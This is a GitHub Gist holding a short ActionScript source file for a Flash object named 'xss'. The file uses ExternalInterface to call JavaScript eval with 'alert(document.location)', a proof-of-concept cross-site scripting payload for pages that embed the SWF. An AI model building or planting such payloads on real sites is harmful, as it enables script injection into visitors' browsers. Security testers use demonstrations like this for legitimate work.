Created
November 30, 2018 10:45
-
-
Save jamieparfet/7916734344ef897b02f6d764c490d597 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package | |
{ | |
import flash.display.Sprite; | |
import flash.text.TextField; | |
import flash.external.ExternalInterface; | |
public class xss extends Sprite | |
{ | |
public function xss() | |
{ | |
var tText:TextField; | |
tText = new TextField(); | |
tText.text = "Hello"; | |
ExternalInterface.call("eval", "alert(document.location)"); | |
addChild(tText); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment